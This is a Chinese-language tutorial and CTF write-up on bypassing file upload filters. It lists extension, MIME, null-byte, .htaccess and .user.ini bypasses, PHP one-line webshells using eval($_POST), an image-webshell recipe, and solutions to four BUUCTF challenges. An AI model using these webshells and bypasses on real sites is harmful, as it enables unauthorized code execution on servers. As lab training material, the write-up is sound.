文件上传漏洞+CTF实例
解题思路
前端绕过
手动修改前端js代码进行绕过:右击-查看页面源代码-ctf+f进行位置定位-修改JavaScript函数
后端绕过
-
文件类型绕过(Content-Type)
常见MIME类型 | 描述 |
---|---|
application/octet-stream | 表示所有其他情况的默认值 |
text/plain | 表示文本文件的默认值 |
text/html | 超文本标记语言 |
application/rtf | RTF文件 |
image/gif | GIF图形 |
image/png | PNG图形 |
image/jpeg | JPEG图形.jpeg |
audio/basic | au声音文件.au |
audio/mid、audio/midi | MIDI音乐文件.mid、.midi |
audio/x-pn-realaudio | RealAudio音乐文件.ra、.ram |
video/mpeg | MPEG文件.mpg、.mpeg |
video/x-msvideo | AVI文件.avi |
application/x-gzip | GZIP文件.gz |
application/x-tar | TAR文件.tar |
各种后缀名绕过
# 有许多后缀名不为php,但仍会默认解析为php的后缀扩展名列表。
## .php:
.php2, .php3, .php4, .php5, .php6, .php7, .phps, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
## .asp:
.aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
## .jsp:
.jspx, .jsw, .jsv, .jspf, .wss, .do, .action,
# 大小写空格下划线双写绕过
.pHp .PHP .php(空) .php. .php_ .pphphp
# 利用Apache文件解析机制,从右往左开始解析文件后缀,若后缀名不可识别,则继续判断直到遇到可解析的后缀为止
.php.xxx
# windows文件流绕过
.php::$DATA
## 在磁盘中创建1.php时,先是创建了1.php::$DATA,两者本质相同,但对于黑名单来说两者不一样
文件内容检测与绕过
# 如果检测的是<?,可以尝试其他一句话木马
<script language="php">eval($_POST[123]); </script>
## <? == <?
## <? == <?
# 如果检测文件头,可以在脚本开头添加图片对应的文件头
GIF89A?
<script language="php">eval($_POST[123]); </script>
# 如果利用getimagesize函数获取图片的宽高等信息,上传的不是图片,那么则获取不到信息。可以制作图片马
copy 1.jpg/b+1.php/a 2.jpg ## 1.jpg正常的图片,1.php里有一句话木马,生成2.jpg
.htaccess文件绕过
.htaccess本质为Apache配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录种放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录,管理相关目录下的网页配置。
使用方法:先上传.htaccess文件,写入以下内容;然后上传木马文件。
# .htaccess
## 当前目录以及子目录所有文件将会被当作php解析
SetHandler application/x-httpd-php
## 匹配文件名(推荐)
<FileMatch "2.png">
SetHandler application/x-httpd-php
</FileMatch>
## 或者指定扩展名,例如以png为后缀的文件当作php文件解析
AddType application/x-httpd-php .png
%00和00截断
在url中%00表示ascii码中的0,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。
# get方式
直接修改 1.php => 1.php%00
# post方式
需要在bp中修改hex值,在1.php后添加一个hex值为00的字符
CTF实例
BUUCTF-ACTF2020新生赛upload1(后缀名绕过)
1.尝试上传一句话木马,发现页面弹窗:只能上传jpg,png,gif结尾的图片。前端修改绕过后然后用bp抓包,发现页面nonono bad file。尝试修改后缀名为php2,发现上传成功,但是用蚁剑连接发现返回数据为空。发现php6,php7也是这种情况。最终是.phtml成功连接
BUUCTF-极客大挑战2019-upload
1.尝试上传一句话木马文件,页面显示not image。bp抓包然后修改content-type为image/jpeg,页面显示not! php!,应该是内容检测,修改一句话木马和content-type,发现页面还是显示not php。
猜测源码:
1.先是检测content-type(若不是image/jpeg或image/png或image/gif就会显示not image)
2.修改content-type为image/jpeg,然后检测后缀名,(若是php,php2,php3,php4,php5则会显示not php)
3.修改后缀名为php6,发现显示NO! HACKER! your file included <?;',即是检测内容。
4.修改一句话木马为<script language="php">eval($_POST[1]);</script>,发现页面显示Don't lie to me, it's not image at all!!!
5.尝试在脚本前加文件头GIF89a?,上传成功。
2.访问网址/upload/1.php6,发现没有解析php,继续修改后缀名,发现用.phtml可以解析,最后用蚁剑连接成功,即可得到flag
BUUCTF-NewStarCTF2023-week2-Upload agin(.htaccess文件)
1.尝试上传一句话木马,用bp抓包,尝试修改后缀名为jpg和content-type为image/jpeg,显示这不还是php?。应该是内容检测,当修改后缀名为php.,同时内容改为<script language="php">eval($_POST['cmd'])</script>。发现上传成功了,但是蚁剑连接发现返回数据为空。
2.尝试先上传.htaccess文件,然后再上传木马文件,后缀名和内容同上。最后连接成功得到flag!!
# .htaccess文件的内容
SetHandler application/x-httpd-php
BUUCTF-SUCTF2019-CheckIn(.user.ini)
1.尝试上传一句话木马,发现页面显示illegal suffix!,修改后缀名,发现.php.可以绕过;然后页面显示<? in contents!,修改一句话木马,页面显示exif_imagetype:not image!
exif_imagetype是一个函数,它读取一个图像的第一个字节并检查其签名
2.所以在一句话木马前加GIF89A可以绕过,上传成功。但是无法被php解析
3.这里看wp才发现要先上传一个user.ini文件,内容如下:
GIF89A
auto_prepend_file=1.php.
.user.ini是和.htaccess一样的目录配置文件,.user.ini就是用户自定义的一个.php.ini,我们可以利用这个文件来构造后门和隐藏后门。
.user.init中两个配置就是auto_prepend_file和auto_append_file,这个两个配置的意思就是:我们指定一个文件,那么该文件就会被包含在要执行的php文件中,相当于在php文件中插入一句:require 1.jpg
前提是含有.user.ini的文件夹下需要有正常的php文件
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
然后上传1.php.,内容如下:
GIF89A
<script language="php">system('cat /flag')</script>
最后访问/uploads/065831472858248584ff4993846d5065/index.php可以得到flag
或者修改一句话木马,然后也是用上面的网址蚁剑连接